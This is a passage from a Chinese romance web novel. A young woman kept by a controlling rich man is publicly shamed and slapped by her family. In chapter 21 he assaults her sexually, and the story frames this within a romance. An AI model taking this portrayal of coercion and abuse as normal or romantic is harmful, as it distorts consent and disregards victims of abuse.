金黄色主题装潢,瓷砖倒影出宋辞音温润平和的侧脸。
“瞧姐这话,买不起还看不起吗?”她笑着回视,“你也买不起,不也过来了吗?”
宋诗莹一怔,清雅的脸庞一阵红一阵白:“我和你当然不一样了,是我男朋友带我来的,要送我工作的第一份礼物。”
说着傲娇地扯了扯男友的胳膊。
“嗯嗯,”宋辞音认真点点头,“恭喜你找了这么好的男朋友啊。”
随后目光再次落向电梯口。
好似一拳拳都打在棉花上,宋诗莹清咳两声,一本正经道:“你以后还是少来这种地方,见多了心思容易飘,你家条件就那样,你更要好好努力才对,千万别学的非常虚荣。”
她继续说:“我是你姐姐才说这么多的,如果是别人,我才懒得管,说这些全是为你好,你可要听心里去。”
“嗯嗯,”宋辞音再次点点头,“姐姐说得有道理,快让姐夫带你离开吧,别沾染上虚荣风气。”
直梯打开,陆明彰站在人群,很醒目,迈腿走过来。
宋辞音的心被提到嗓子眼。
“你好之为之吧!”宋诗莹丢下这句话,挽着男友离开。
恰好看到迎面走来的陆明彰,男人高大英俊雍容冷酷,目空无物,经过他们时,一个眼神都没给。
她好奇打量,心想这样的人永远不会和自己有交集,挽着男友的手走进旁边一家店。
宋诗莹看中一个包,四万八,她撒娇地摇了摇张友信臂膀。
张友信对于她的期待置若罔闻,笑着说:“我们再看看。”
走出店,宋诗莹有些不开心,但也不敢发作,叹气说:“我很喜欢那个。”
“我们的工作性质,你被那种不合适。”
“我可以生活中背啊,好多朋友都有的。”
张友信皱眉:“你那些朋友心思都太飘了,你可别沾染上虚荣的风气。”
她刚刚那样说宋辞音,一来是想刺一刺她,二来是想捧一下男友,没想到会被他反过来敷衍自己。
“你说的送我礼物的……”
“我有说不买吗?”
宋诗莹看他有些不高兴,赶忙说:“好了好了,我都听你的。”
最后两人在一楼买了一块化妆粉饼。
张友信豪爽买单:“就喜欢给你买东西。”
宋诗莹努力扯出一张笑皮:“谢谢亲爱的。”
两位店员恭谨地把东西放进陆明彰后备箱,其中有衣服和包。
店员热情鞠躬,欢迎宋辞音下次再来。
“是要回去了吗?”她问。
“没,还要去个地方。”陆明彰视线落在她空荡荡的手腕。
“今天怎么去这么多地方。”
“不知道之前谁说无聊。”陆明彰倚在后靠上闭目养神,购物于他而言是很新奇的活动,远比工作费神。
“我说了,有空会多陪你。”
19. 第 19 章
最后一场戏落幕,周围响起雷鸣般的掌声。
宋辞音从睡梦中惊喜,迷茫睁开眼,才想起陆明彰带她来到剧场看舞台剧。
“结束了?”手背擦掉嘴角的口水,扭动侧脸,旁边的男人正目光沉沉看着她,神色复杂。
宋辞音立即警觉:“我脸上有什么东西?”嘴角的口水都被擦干净了呀。
陆明彰没说话,收回视线,目视前方,沉静片刻,开口:“我真佩服你,在这也能睡着。”
四周人陆续离席,意犹未尽讨论剧作的艺术品味。
“不愧是赖大师的剧本,真的不枉我加价抢票一场。”
“是啊,票太难买了,真是物超所值。”
从他们面前经过时,不少人会放慢速度,注意力落在陆明彰身上。
好看的人有很多,但能把衬衫穿得如此笔挺有型,且气场强烈高贵的人,并不多。
“像在上数学课,就睡着了。”确定他没有生气,继续道,“可以走了吗?”
男人再次转过脸,探究地目光细细打量她。
宋辞音有些犹豫,杏眼睁得圆滚:“怎么了……有什么问题吗?”
陆明彰却兀自笑了,他起身,西装外套搭在臂弯上:“走吧。”
两人走在人流末端,期间不少人时不时回头探看,随后窃窃私语。
和他并肩走在人群中,是一件很有压力的事,不时应对众人的注意力。
遐思间,身边人突然问:“你和朋友出门,会做什么?”
“我出门也不是很多,一般都是和苏念一出来,就是我发小。”
她不太确定他这么问的目的,撩起眼皮仰视,剧院的昏黄的灯打在他的侧脸,深邃的眼眸若有所思。
“既然你都问了……”宋辞音来了兴致,说话时眼睛亮亮的,和坐在观众席上垂头耷眼的样子判若两人。
“那,你跟我去?”
……
晚上八点钟,正是补课小学生下课时间。
学校四周街道车水马龙,停靠不少接学生放学的汽车。
不少学生三两成群,兴奋奔向路边小摊。
卖小零嘴和夜宵的商贩汇聚街道两侧,延绵几百米,每个摊口都有排队的小学生。
陆明彰从下车后就冷着脸,单手插兜的姿势有置身事外的漠然。
“你答应来的啊。”宋辞音才不管他,排在一个小女孩的后面,“你不会玩不起吧?”
男人巡视附近嘈杂的环境,两眉间的竖纹愈来愈深:“你就这点出息。”
她观察排队进展,假装没听见。
许久,陆明彰又补充:“你想吃什么家里给你做不了。”
宋辞音看他脸色,视线再次落到队伍上,小声抗议:“那不一样。”
她又想到了什么,扭头说道:“你不喜欢可以在车里等啊,干嘛要下来车呢。”
“快点吧。”他拧眉催促,“管好你自己。”
宋辞音悻悻闭嘴。时不时用余光瞥他两眼,毕竟已是冬天,下车后他穿上了西装外套,即使这样也比路上行人穿得少。
站在一群小学生周围,有些扎眼。
她又悄悄瞄他一眼。
谁知那人似有感应,精锐的目光刚好扫射过来,有着睥睨一切的严厉威仪,不经意间有摄人的压迫力量。宋辞音小心脏漏拍,赶紧乖乖站好,目不斜视。
终于排到了,此时队伍里只有两个人,一个宋辞音,一个胖胖的小男孩,两人围绕在摊位前,刚才都没留意,也不知道到底谁在前,谁在后。
“不好意思啊。”小摊大姐指着仅剩的火鸡面,抱歉道,“只有一份了,你俩谁要?”
宋辞音打量起竞争对手,还不到她腰高,胖滚滚的小手捏着两张纸币,颇有些紧张地盯着她看。
可怜巴巴的。
不好意思了,她觉得自己也很可怜。
“我要!”宋辞音声音急促而洪亮。
小男孩惊讶张大嘴,下巴快掉到地上了,心想这不符合常规剧情啊,不应该是她友善地摸摸自己头,说:小朋友,你买吧,姐姐去买别的。
他不甘示弱,声音比宋辞音更高更亮:“我要!我要!我先来的!阿姨给我给我!”
他话刚落地,察觉到身边围上一堵墙,遮挡住头顶光线。
小男孩仰起头,一位面色不善的大人正斜他一眼。
“小孩,你老师是不是教你做事要公平公正?”
“是啊,怎么啦?”
陆明彰挑眉,凉飕飕道:“咱俩比一下,看谁先跑到校门口,谁赢了面归谁。”
“有意思!好啊,我比!”小男孩兴奋地把书包仍在地上,“说话算话。哎,不对,你比我高,你腿长,跑得比我快!”
“所以啊,我让你先跑一分钟,怎么样?”
“行!那你可计时啊!”
“没问题。”陆明彰抬起手臂,瞄了一眼腕表,给身后车上的司机一个眼神,“开始吧。”
小男孩风一般冲向学校大门,这会儿学生都走得差不多了,校门口人不多,他一路畅通,直到大门在望,也没看到其他人影。
看来我跑得挺快嘛。小男孩得意想着,在大门处急刹车,兴奋转身,还没来得及庆祝胜利,瞬间傻眼。
他他他他看到和他比赛的大人,还在小摊边上,用手机扫了二维码。摊主老板把打包好的火鸡面,递给漂亮姐姐!
啊!被骗了!
小男孩怒从胆边生,气喘吁吁折返,颤抖的手指着他:“骗子!骗子!你你你你算什么好汉,你骗小孩!和小孩抢,坏人,大坏蛋!”
陆明彰唇角上扬,眼尾是止不住的笑意:“小鬼,你老师没教你兵不厌诈?”
“我老师才没你这么坏!你骗人!你欺负小孩!大坏蛋!大骗子!”
宋辞音打开食盒,火鸡面的辣香味在味蕾跳跃,她小口地吃,忍俊不禁,眼睛笑成两片月牙儿。
“没事儿,今天我教你了,你要说谢谢。”陆明彰心情大好,笑起来时眼尾微微下垂,如此放松姿态,有些许儒雅温和的气质。
“说要谢谢你,你个大坏……嗯?”
面前有人递来一杯香芋鲜奶茶。
小男孩有些搞不清状况,摸着头看看陆明彰,看看给他奶茶的伯伯。
“收下吧,”宋辞音笑出声,“叔叔给你买的。”
小男孩舔舔嘴唇,有些不好意思,还是没禁住诱惑,伸手接住。
“哦,刚才谁说我是大坏蛋?”
“叔叔不是大坏蛋,”小男孩咕咚咕咚嘬奶茶,满足眯起眼,“叔叔是大好人!”
从宋辞音的角度,能看到陆明彰抚掌拍拍小男孩头时,眼角一闪而过的温柔。
这和平时的他大相径庭。
这人对小朋友挺宽厚的。
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如果他有孩子,应该是个慈父吧。
宋辞音被自己的结论下了一跳,这样强势霸道的人,谁愿意和他生孩子啊。
她收回眼睛,吃面吃面,心不在焉下被辣呛到剧烈咳嗽。
一只宽厚手掌覆上后背,一下下,规律地拍。
宋辞音看向他,想说我好了,她刚张嘴,他另一只手的拇指抚在她唇角,一边擦拭辣酱,一边抱怨:“垃圾食品有什么好吃的。”
陆明彰皱眉时,模样要比真实年龄老成。
她心口微动,食盒向他跟前凑了凑:“你尝尝?”
他无声拒绝。
回去路上,陆明彰问:“送你的手镯,怎么不戴?”
宋辞音眼皮打架,呼出一个哈欠,闭上眼真真假假:“太贵重了,如果磕磕碰碰坏了,太可惜了吧。”
“你倒是爱惜东西。”
她恢复了几分清明,睁开眼又阖上:“对啊,家里从小这么教育的。”
他没有在说话,视线转向车窗外流逝的风景。
车内一时寂静。
许久,宋辞音含糊不清说:“有个事忘了给你说,前些天回家时,家里嘱咐我明天有个酒席,我要过去一下……”
说罢,她身体一歪,倒在陆明彰怀抱里,睡着了。
后续的事儿宋辞音都没有印象,只知道第二天醒来时,身上是香香的,应该被清洗过,还穿着完整的睡衣。
陆明彰一大早就出门了,李秀桦嘱咐她晚上六点前回来。
那就是被准假了。
今天是宋老太太邻居重孙的满月酒,大家沾亲带故,宋父宋母要看店,宋辞音依然是作为家里的代表参加。
酒店就在家门口,同桌的有大伯母和宋诗莹,以及其他相熟的街坊,都是看着宋辞音长大的亲友长辈。
“要我说啊,辞音,你可要对你大伯母好一点,当年你爸妈不在,你在你大伯母家待了那么多年,这可是天大的恩情。”
酒宴开席,大家吃菜喝酒渐渐聊开,话题中心跳到宋辞音身上。
“是啊,做人可不能忘本,当时你奶奶身体不好,要不是你大伯母大伯父,那几年你可怎么办?以后啊,要把你大伯母当亲妈一样孝敬。”
另一人附和:“人要知恩图报,尤其辞音是大学生,懂得道理多,更知道该怎么做了。今天正好是个机会,辞音,你敬你大伯母一杯!”
一群人的目光汇聚到宋辞音身上。
“哎呀,说什么恩不恩的,一家人哪里讲这个。”大伯母摆摆手,“当年我给她住,天天给她做饭洗衣的,也不是图她回报呢。”
“快点啊小辞,敬你大伯母一杯。”
宋辞音骑虎难下,若是不敬,好似她成了那忘恩负义的小人。
可若是敬……
一时两难。
就在这时,一阵嘈杂的吵闹声打破她的为难。
好消息,有人在吵架,吸引众人关注。
坏消息,吵架的人好像是她妈和她嫂子。
张雨婷不顾婆婆阻拦,冲进大厅,一把鼻涕一把泪哭诉:“大家评评理啊,他们有钱也不帮我们这个小家,瑞阳什么情况大家都知道!”
太丢人了,宋辞音起身就要去拉她。
张雨婷又道:“尤其是我那小姑子,明明傍上了大款,还不多帮帮家里!”
宋辞音脚步顿住,怔在原地。
20. 第 20 章
张雨婷本就中气十足声音嘹亮,她这一吼,酒宴大厅宾客一时哗然,众人面色或疑惑或好奇或不齿,放下筷子传递眼神窃窃私语。
宋辞音腿脚发软,每一步像是踩在刀山火海,慌张握住张雨婷手腕,低眉顺眼,羽睫颤动如惊惶的鸟儿挥动翅膀:“这是人家主场,有事回家说。”
张雨婷挑眉,眼中闪过一瞬了然的锐光,压低嗓音,用两人才能听到的声音笑问:“怎么?被我说中了,怕了?”
宋辞音没吭声,抓住她的手腕更紧了些,声音像烈火煎烤过般焦涩,气息微弱:“我们丢人,嫂子有什么好处呢?”
没人愿意自家酒宴闹出笑话,哪怕当事人不是自个儿,也足够丢人闹心。
酒宴男主家笑着上前打圆场:“既然来了,就坐下吃席吧,一家人有什么事说不开的呢,有事回家聊也好。”
“什么嘛。”旁边的应该是他老婆,酒宴女主家,她沉浸在孩子满月酒被毁的愤懑里,“这是我儿子的满月宴,谁也别想闹事,你们有什么恩怨回你们家说,大家都是邻里邻居的,干嘛做这么缺德的事?!”
在他人宴请亲朋好友大吉大利的日子,因自家事儿吵架,确实挺缺德的。
张雨婷怒目逼视:“觉得丢人了是吧?告诉你们,我是被你们给逼的!”
当然是说给宋辞音和宋母听。
宋辞音后颈如有千斤重,蜷缩着脊梁,有气却无力:“你不是有要求吗,不回家,怎么谈?”
宋母早就急哭了,她不敢去拉儿媳妇的手,更不敢去看周围人一举一动,一张老脸像是被人摔了几百个耳光,灼痛难当。
张雨婷大获全胜,昂扬抬起下巴,丹凤眼狭长,眯起睨了一眼被自己玩弄于股掌之间的婆婆和小姑。
“哼”一声,大摇大摆往外走。
宋母抬起手背,不停沾额头的汗,转身对酒宴主家道歉:“真对不住,她不懂事,在气头上气坏了,才这样,我给你们道歉。”
宋家这个媳妇,多泼辣多难缠,街坊邻居们也多少耳闻,好在只是吵了两句就散场,也没有引起不可挽回的局面,酒宴照常继续,于是酒宴主家摆摆手,笑道:
“理解理解,宋家婶婶也坐下吃点吧。”
“不了不了,我还要赶回去看店。”
“婶婶,你就坐下吃点吧。”宋诗莹从座位上起身,亲热地拉住宋母的手,“小辞也真是的,找男朋友了也不跟家里说。”
宋母疑惑又僵硬地看向宋诗莹。
女儿谈恋爱了?她怎么不知道?
宋辞音福至心灵,垂首牵住宋母的另一只手:“妈,我们先回去吧,爸一个人看店忙不过来。”
宋母探寻的目光落在女儿苍白惊惧的脸上。
她渐渐回味过来,刚才张雨婷说,女儿傍上有钱人,她并未往心里去,只以为是儿媳撒泼打滚为了达到目的口不择言恶心人。
难道是真的?
“小辞,这就是你的不对了,谈了条件好有钱的男朋友,怎么不和家里说呢,我说昨天怎么在卖奢侈品的地方碰见你了,今天听了嫂子的话才反应过来,找了这么好的男朋友啊?”
宋诗莹这一句话,好似一滴水洒进油锅里,瞬间炸开花。
在场但凡认识宋家的人,大多和宋母想的差不多,没太把张雨婷的话放在心上。或者说,就算她说的是真的,吵架语境中的话,有太多的反驳空间,不足以作为“呈堂证供”。
但宋辞音堂姐,亲堂姐的一番话,和嫂子张雨婷的话相呼应,真伪立马变得不一样了。
隔壁桌有位邻居,因当初争夺商铺租赁,和宋辞音家结下梁子,此时正好是插刀的机会:“大概半个月前吧,碰到小姑娘在超市买东西,确实有个男的给她刷卡,看起来四五十岁了吧,哎呀,现在年轻人,都喜欢找年纪大的,难道是会疼人?”
“什么会疼人,肯定是有钱咯,四五十都能做她爹了。”
“那她嫂子说得没错啊,小丫头确实傍上有钱人了。”
“小辞是我从小看到大的,小时候一直很乖,看着蛮老实一孩子,怎么做这样的事,也不知道人家结没结婚,有没有孩子。”
“就是,宋家两口子确实倒霉,儿子出车祸身体成那样,闺女又……哎,难啊。”
宋辞音脑中“轰”得一下,没有给她任何缓冲和思考的空间,众人七嘴八舌的议论声,海水一样汹涌倒灌。
宋母眉头皱成一条线,滚红的脸绷得紧紧的,双眼冷冷逼视女儿眼睛:“他们说的是真的?”
“这里人太多了,我们先出去,回家说好吗?”
“我就问你是不是真的?”宋母因愤怒,瞳孔紧缩而颤动,剧烈情绪在她胸口激荡,街坊邻居都在看着,她必须有个正确的态度。
想到这儿,攥着宋辞音的手不自觉加力。
宋辞音手腕传来钻心的疼痛,比□□疼痛千倍万倍的是宋母看她的眼神,睚眦俱裂,黄褐色瞳仁里充满逼问的失望和愤懑,似有千仇万恨。
这是母亲看女儿的眼神吗。到底是多大的仇多大的恨。
“说话!”
宋辞音突然噤声,嘈杂指摘讨论一声盖过一声,她只觉耳膜嗡嗡作响,什么也听不见。
一滴泪从眼眶滑过。
她紧紧咬住下唇。
恍惚间,手被人拽拉往外走,宋辞音踉踉跄跄,力量悬殊,她挣脱不过,被拖行到酒店外。
“张嘴!你哑巴了!”
宋辞音抹掉下巴的的泪,即使水杏眼中无波无澜,耸动的肩膀依然暴露了她的内心:“说什么?”
“你,你你你你,”宋母食指刺向她的脸,“丢不丢人!我平时怎么教你的?!”
“啊?”被指着的人扯了下嘴角,眼泪如泉涌争先恐后,笑容烂漫,“你教我什么了?”
宋辞音吸了一下鼻子,重复:“你教我什么了?”
她神色言语一派天真模样,宋母却感受到一股心虚的烦躁和羞恼。
酒店是常规设计,门口左右全是落地窗和透明玻璃,路过的人能看到酒店大厅的全貌。坐在酒店大厅内,也能看清外面。
宋诗莹感受到前所未有的激动畅快,身体和心情就好像学生时代参加运动会跑步,她第一个冲向终点时的神奇体验。
猛烈的感受让她以至于握不住筷子。
她索性把筷子放下,和其他人一样,抻着脑袋,观看玻璃窗后的热闹。
她看到婶婶先是和堂妹对峙了一会儿,拿手指着应该是在骂人。
随后叔叔慌里慌张跑来,婶婶一把拽住叔叔,同叔叔说了些什么。
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下一秒,她惊呆地捂住嘴,大厅看热闹的人一片喧哗。
叔叔一个巴掌甩过来,宋辞音身材瘦弱不受力,被扇倒在地上。
而后是婶婶张大嘴巴拦住叔叔,拉着叔叔离开了。
宋辞音就那么呆呆躺在地上,和她平时一个蠢样,大概过了一两分钟,才艰难爬起来,瘦弱背影仿佛一吹就倒,失魂落魄离开了。
宋诗莹竭力压住上扬的嘴角,轻叹一口气:“我这妹妹,太让我难受了。”
“小丫头学坏了。”
“可不是,学什么不好,学人家被老男人包养,算是废了。”
现场一片扼腕叹息,接着是赞叹宋诗颖母亲教女有方。
“一家人一个奶奶的,怎么差别那么大。”
“是啊。”
宋辞音也不知道在街上晃了多久,无所意识无所方向,等到头顶传来阵阵凉意,才惊觉又落雨了,而暮色早已四合。
冬天,又是下雨天,天黑得早。
路人步履匆匆,奔向他们共同的目的地——家。
她呢,她可以回哪儿呢?
身后传来鸣笛声。
浓墨色迈巴赫紧紧跟随,司机刘师傅隔着副驾驶叫她:“宋小姐,请上车。”
宋辞音置若罔闻,继续不急不缓往前走。
车子就这么在她身后跟着。
豪车紧贴着年轻女孩,她快它快,她慢它慢,实在稀奇,引得路人频频回头。
大概十分钟后,这辆车别停在她左前方。
刘师傅急促下车,打开右侧后车门,微笑着恭敬道:“宋小姐,请上车。”
宋辞音像是没听见,越过他,继续往前走。
刘师傅再次挡住她的去路,做出请的动作,敛去笑意,憨厚的神态被刻板严肃替代,姿态礼貌,说出的话却是冰冷无比,和他老板一样不容置喙:
“宋小姐,如果我们现在抓紧回去,还能赶在六点前回到别墅。”
和从前的刘师傅判若两人。
他把车门开得更大些,继续道:“宋小姐,请不要让陆先生为难。”
“如果我今天就是不回呢?”
“宋小姐,您一定会回的。”
“你要把我绑回去吗?”
“不敢。”刘师傅脸上再次浮现一抹笑意,却不再有从前的憨厚和煦,“结果都一样,您又何必和自己过不去。”
这算是善意的提醒,更直白地说:何必自讨苦吃。
是啊,结果都一样,何必自讨苦吃。
宋辞音识时务地上车。
如果她知道接下来会发生什么,当时肯定不会听劝回去。
到达别墅时,餐厅已摆好了饭。
坐在餐桌首席的人,面色沉静地看了眼腕表,语气平常:“六点零一,你迟到了一分钟,这是第一次,下不为例。”
“嗯,”宋辞音不去追究他话里的意味,“今天有点累,不想吃饭了,我可以上去了吗?”
李秀桦站在一侧,目光不动声色地落在从小照看到大的男人身上,他表情没什么变化,可她交叠在小腹的手就是不自觉收紧。
“不想吃就喝点汤。”陆明慢条斯理撩起眼皮,眼睑骤然微眯,幽暗眸底淬结成冰。
再开口,咄咄威怒寒意彻骨:“谁打的?”
21. 第 21 章
偌大餐厅一片死寂,是风暴登陆前的短暂静谧。
宋辞音垂首杵在原地,只留一个倔强的侧影,如雕塑般僵硬。
心中千丝万缕的情绪斗争中,一股隐隐的怒意牵引住她的行动。
“嘭”,是瓷杯掼在餐桌上,碰撞声急促,显得尤为刺耳。
李秀桦手心渗出汗,黏糊糊的心里发慌,抻了抻五指,视线落在餐桌正首的男人后背。
“出去一趟哑巴了?”他自顾提壶斟满一杯茶。
“在我喝完这杯茶之前,自己走过来。”
“明彰,”李秀桦脸上闪过一丝担忧,温柔低声劝慰,“好好说。”
“你们先出去。”他抬臂把茶杯凑在嘴边,命令道。
“明彰……”
“出去!”
李秀桦平缓地颔首摇头,无声招招手,带领所有佣人退出餐厅。路过已挪步走来的宋辞音时,轻轻拍了拍她的肩膀,是嘱咐,是鼓励。
是的,她走过来了。面对陆明彰口气不善的威胁,身体比理智先一步做出决策。
她不得不走到他跟前,没有落座,站立在他右手边。
陆明彰抬眼,暗礁般的眸底波涛翻涌,伸手攥住她埋首的下巴,食指轻轻用力,她就不得不仰头面向他,粉面桃腮没有了从前的鲜活灵动,醒目的巴掌印格外扎眼。
她垂着眼皮,执拗不与他对视,猩红的眼眶肿胀,明显哭过。
“说!”
因他这声呵斥,宋辞音缓缓撩起眼皮,看到一张冷硬阴沉的脸。他目光似有复杂的恨绝,沉着如鸿毛,浓烈如泰山,看着她,细细逡巡。
真是个奇怪的人。
宋辞音胸口荡起一丝嘲弄的情绪。
酸酸涨涨的,包裹着委屈和恐惧。
“我为什么要说,你是我什么人?”
她直视他的眼睛,话刚出口两行泪就涌下来。
真的很没出息啊,宋辞音想,为什么会哭,为什么泪失禁,放狠话时又哭又抖真的很没面子。
气势很弱。
“好,很好。”陆明彰怒气渐盛,两眼岩浆一样火气蔓延,顷刻又化为寒冰,“你说我是什么人?”
宋辞音眼眶发酸发痛,泪越来越多,抽泣中以至于说话时口齿不清,惊慌让她膝盖发软站不稳,一只手对待救命稻草一样扣住桌面。
她咬牙,喊出心中所想:“你是个qiangjianfan。”
说出来了,终于说出来了。
闻言,攥着她下巴的手指明显加大力度。
对面人脸上有一刹的失神,难以置信。
这一刻,好多天以来的压制、害怕下,宋辞音感受到拨开云雾见青天般的畅快、痛快。
得意下甚至挑了下眉:“不对,你还不如qiangjianfan,qiangjianfan至少光明正大,你呢,你是让我喝酒,你是youjianfan!”
宋辞音还是太高估自己了,吐出这一句话后,她并不敢看他面对他,逃避似的,紧张闭上眼。
事实证明,人在怒极状态下真的会笑。
两声轻哧后,她只听哗啦一下,他不管不顾长臂一扫,餐桌上瓷器杯具饭菜全都洒落在地板,狼藉一片。
下一秒,宋辞音被掐住腰,猛地一提,她被扣压在清扫完毕的餐桌上。
蓝水晶石温润如玉,但人躺在上面,被硌得后背发疼。
陆明彰仅一手按住她的腰,就能让她动弹不得。
宋辞音突然感受像是坠入幽冥地狱,深入骨髓的惊怖和绝望,随着泛起的鸡皮疙瘩,渐渐爬满全身。
头顶的男人面色冷彻绝情,愠极下的眼眸纹丝不动。他就像地狱的判官,却不是来为她明辨是非,因为已经判了她的死刑。
宋辞音哭得撕心裂肺,上气不接下气。
他像初次那晚一样,温柔地拍了拍她的脸,说出的话却是让她更加痛绝无措。
“哭什么,不qiangjian你一次,怎么对得起你的评价,嗯?”
“是你让我说的,我说的都是事实!你别这样,我害怕……”
“害怕?”他轻笑,“哪里害怕?来,告诉我,哪里害怕?”
他依旧是西装革履,光鲜而雍容矜贵。
而她下shen仅剩一件,隔着轻如蝉衣的布料被粗鲁碾磨。
强烈对比下,是无法逾越的差距鸿沟,以及放大千倍百倍的敏感、脆弱、羞辱。
“我看你胆子大的很!”他突然抬高音量,“你很好,没人敢这样跟我说话,你是第一个。”
“你这人翻脸不认人,你问我,我答了,你又生气,你总是这样,不讲理!”
“我再问你!我们什么关系!说!”
明明在求饶的,明明知道他想听什么,鬼使神差的,宋辞音想答“qiangjianfan和受害者的关系”,霎那间她犹豫了,陆明彰的怒火,是她所承受不住的,她应该学的聪明一点。
于是,退而求其次,她选择避而不答,只顾拼命摇头拒绝来自于他的侵略。
但于陆明彰而言,不回答也是错,他下颌崩得紧紧的,咬出一声怒哮:“你找死!”
没有爱意的滋润,通往幸福的道路注定艰涩难行。
只是刚迈出一小步,宋辞音疼痛难忍,冷汗打湿额头的碎发,痛苦地蜷缩起身体。
好痛……好痛……
比初次那晚更痛。
那晚她喝了酒,陆明彰又百般套路,并没有吃太多苦头。
而现在……
“我错了,我真的错了,下次再也不惹你生气了,你放了我吧,你说什么我都听,你……”
“叫我名字!”
“陆明彰……”
她是真痛,哭得梨花带雨,身体颤抖着小小一只,声音也小小的弱弱的。
两只眼肿得像小核桃,可怜楚楚地望着他,等待他的宽恕。
而他在欺负她。
陆明彰忽然觉得没劲透了。
他胸膛剧烈起伏,无声叹息,蓦地后撤,离开她。
他伫立在原地,冷眼看她如惊弓之鸟状提上裤子,从餐桌滑下来,低头抱着肩膀压抑着哭。
宋辞音躬着腰,环臂抱住自己,唯有这样才能感受到丁点安全感。
看着陆明彰大步离开,宋辞音终于坚持不住,身体摇摇欲坠。
摔倒前一刻,李秀桦冲过来扶住她,让她不至于跌倒在满地混乱的饭菜和瓷具碎片里。
“我扶你上去,”李秀桦托住她战栗的肩膀,“他就是这脾气,宋小姐,你以后都顺着他说,顺着他说,他不会伤害你的,他就是
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气极了,没人敢这样给他说话。”
李秀桦把人扶到床上,帮她脱掉衣服盖好被子,反复就是车轱辘话:“你好好休息一下,如果饿了就告诉我,刚才也没吃什么。哎,他就是那个脾气。”
宋辞音闭上眼。
李秀桦无声叹息,轻声闭上房门。
从陆明彰五岁时,她就在他身边照顾,虽然关系是主雇,但她在他身上倾注的情感和照顾,不比在自己孩子身上的少。
这么多年了,这是她第一次见陆明彰发那么大的火。
顶端出身,又聪明优秀有上进心,想要的都能得到,顺风顺水,没有太多发火的机会。
所以李秀桦印象里的陆明彰,从小就显得很有涵养,偶尔几次发火,也是到了他参与工作后,发现有人尸位素餐,在其位不好好做事。
那种程度的火,也仅仅是传达一下他在生气,她甚至也不能完全分清,他当时是真发火,还是只是他处事的一种手段策略。
但她只所以说“他就是那个脾气”,是从二十多年的照料中,看见一些他的自信、骄傲、自负、黑洞、孤独、偏执、心结。
李秀桦想,正如自己所说,“他就是那个脾气”,所以,他也不会允许任何人侵犯他的边界,不可能听劝的,只能让他自己想通。
大喜大悲极度的情绪非常消耗心神和力气,宋辞音躺下没一会儿就睡着了。
在梦里,她走在老街的路上,路边是从小看她长大的爷爷奶奶叔叔阿姨,所有人都在对她指指点点,恨不得用世界上最难听的话来骂她:
“小婊|子,小娼|妇,下贱,不要脸,被人包养,书都读到肚子里去了!”
梦里的她企图跟人解释,“我不是,我没有”,但嘴唇被黏住,怎么也发不出声音。
接着,爸爸怒气冲冲朝她走来,挥手一个巴掌扇在脸上。
“不要!”
宋辞音猛然惊醒。
手机里传来消息提示音。
是来自宋母。
【那个老男人到底是怎么回事?】
【你知不知道人家有没有结婚,有没有孩子?】
【送你读那么多年书,可不能读狗肚子里,你赶紧给断了!】
【你别怪你爸,当时那种情况,那么多人看着,他不打你说不过去】
【他打你,他也心疼】
宋辞音不打算回。
又有新的消息跳出来:
【你嫂子一定要二十万,不然就闹离婚,哎,我真是一点办法都没有,她非说我们当时答应她了】
【你看有没有办法借到二十万?】
【她拿离婚威胁,你说万一真离了,你哥以后怎么办呢】
【女儿,你哥以前一直对你很好,你也不忍心看她离婚吧?】
宋辞音扔掉手机,想要去梳理一下今日发生的一切,脑袋空荡荡的什么也想不起来,不一会儿就又睡着了。
这一次睡得比较久,迷迷糊糊中,脸上传来冰凉的触感。
她睁开眼,房间内仅开床头一盏小灯,微弱灯光驱赶夜的黑,照亮床边人凛冽的轮廓。
陆明彰手里拿着冰,贴在她的脸上,点一下,松一下。
四目相对那一刻,两人都没有说话。
时间在沉默中流逝,宋辞音看不清他的眼睛。
22. 第 22 章
见宋辞音醒了,陆明彰收回手,把冰袋掷在床头柜。
他从床上坐起来。
高大身影笼罩,视线居高临下,周围空气都变得密不透风。床上的人明显哆嗦一下,握紧手下的丝被。
昏暗下隐没了男人神色,垂首下的下颌线依然紧绷,沉寂片刻后,“下来,吃饭。”
随着他严厉的指示,宋辞音怔了怔,没有动,受惊后的水杏眼中更多是迷惘茫然。
“让我抱你下去?”熟悉的嗓音中有薄怒和不耐烦。
宋辞音几乎是条件反射,猛然翻身下床,还没来得及穿鞋,只垂手低头,掀起眼皮紧张兮兮地看着他。
两脚在地上摩挲,快速找到拖鞋趿上。
她看到陆明彰原本就不好看的脸色,更冷了几分,眸光冰霜一样的从她脸上扫过,径直往外走。
宋辞音叹气,浓密睫毛在肿胀的脸上打下颤动的阴影,缓缓跟上。
餐厅里又重新摆了饭,那尊华丽复古的钟表时针指向九点。
手边大大小小碗碟中,有一份三鲜混沌,还有糖醋里脊、清炖蟹粉狮子头,都是她平时喜欢的菜。
陆明彰就坐在她身侧,不停往碗里加菜。
李秀桦脸上挂着笑,却不像从前一样说笑,为她盛了一碗汤。
宋辞音想说“别给我夹了”,话到嘴边拐了个弯儿,“我……我吃好了,现在有点晚,吃多了会积食,睡不着。”
她越说声音越小,语隙里余光偷偷瞟一眼左侧人的脸色。
陆明彰神色如常,放下筷子:“吃不下就算了。”
李秀桦会意,把盛好的汤拿走,眼神示意,和其他佣人一起退出餐厅。
“不好听的不用担心,都给你处理好。”
宋辞音错愕抬头,看向他,男人一脸平淡。
在她睡着的几个小时,他足以调查清事情的来龙去脉。
别墅内恒温恒氧,虽然是冬天依旧很温暖,但她却感觉到一丝寒意。
“怎么……处理?”
陆明彰转头对上她的眼睛,幽暗的瞳仁没有丝毫温度,他错开目光,“这个不用你操心。”
宋辞音落在膝盖的手止不住发抖。
她嘴张开又合上,忍不住开口:“你不会是要教训他们吧?”
“不该被教训?”
“应该……”她顿了顿,缓缓道,“对于伤害我的人,的确想教训他们,但是……”
整件事里,伤她最深的并不是堂姐嫂子和街坊邻居。
“你每天都很忙,时间也很宝贵,不应该用在这种事上。”
陆明彰再次望来目光,审查意味明显,沉着细致的注视,在她脸上一寸寸逡巡,喜怒难辨:“这是真心话?”
宋辞音心漏掉半拍,手里渗出黏腻的汗,她铺开掌心抹在睡裙上,声音细微:“……不全是。”
她打量着他的神色,一字一句小心试探着说道:“我知道你是关心我,就算教训了别人,别人的想法我也是控制不住的……”
始作俑者就是他本人,一切因他而来,还要嚷着要为她伸张正义,多讽刺。
而她还要迂回地劝他不要下手太狠。
只是,不知这句话哪里点到他了,陆明彰突然伸手,攥住她的腰。
男人漆黑深邃的眼眸倏地更加幽沉,却好似燃着一把熊熊烈火。
天旋地转间,她已然坐到他大腿上。
汹涌的吻落下,瞬间夺走她的呼吸。
他的吻和他人一样强势,她的唇舌口腔被人据为己有,只能被动接受。
